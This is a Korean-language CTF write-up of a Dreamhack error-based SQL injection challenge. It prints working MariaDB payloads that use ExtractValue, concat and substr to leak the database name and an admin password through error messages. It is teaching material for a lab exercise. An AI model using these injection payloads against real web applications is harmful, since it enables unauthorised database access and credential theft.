Dreamhack/Dreamhack(1단계)
error based sql injection (웹 해킹)
grinidia
2024. 10. 23. 15:26
문제
풀이
위는 첫번째 index 파일이며, 두번째는 ; 를 submit 했다.
3번째는 ' 를 넣어 에러를 발생시킨 것을 볼 수 있다. ( SQL Injection 가능성 확인 )
우선 문제에 포함되어있는 db를 확인한다.
위를 정리해서 간략화하면 아래의 테이블 형식이다.
idx | uid | upw |
1 | admin | DH{**FLAG**} |
2 | guest | guest |
3 | test | test |
문제에 나와있는 대로 error base SQL Injection을 시도한다.
에러에서 DB가 MariaDB server 인 것을 확인할 수 있다.
1' and ExtractValue(1,concat(0x3a,database()))--(공백)
위의 코드를 삽입하도록 한다.
- ExtractValue() 함수는 XML 데이터를 처리할 때 사용하는 함수로, 주어진 XPath 표현식에 따라 값을 추출한다.
하지만, 이 함수가 잘못된 XPath를 전달받으면 에러를 발생시키는 특징이 있으며, 이를 이용하여 에러 메시지에 원하는 정보를 삽입하는 기법을 사용할 수 있다. - ExtractValue(1, ...) 여기서 1은 단순 XPath 가 에러가 나도록 채워주는 자리이다.
- concat(0x3a, database()) 에서 0x3a는 헥사 값으로 특수문자 ':' 를 의미한다.
concat 함수로 database 명앞에 ':' 가 추가된다.
데이터베이스명이 users 인 것을 확인할 수 있다.
이제 admin 의 upw를 출력시켜야한다.
1' and ExtractValue(1,concat(0x3a, (SELECT concat(uid, 0x3a, upw) from user limit 0, 1)))--
- SQL 쿼리문을 사용했다. SELECT concat(uid, 0x3a, upw) from user limit 0, 1
SELECT 문으로 concat으로 이어진 uid:upw 값을 user 테이블에서 찾아 0번 라인부터 1행 출력시킨다.
DB에서 첫행은 admin 과 flag 값으로 이루어져있다 결과를 확인한다.
DH 값이 중간에 잘린 상태이다. upw만 출력되도록 설정한다.
1' and ExtractValue(0x3a,concat(0x3a, (SELECT upw from user limit 0, 1)))--
여전히 뒷부분이 잘려보인다. substring 하여 뒷부분만 출력시키도록 한다.
1' and ExtractValue(0x3a,concat(0x3a, (SELECT substr(upw,20,25) from user limit 0, 1)))--
flag 값을 이어붙이면 끝이다.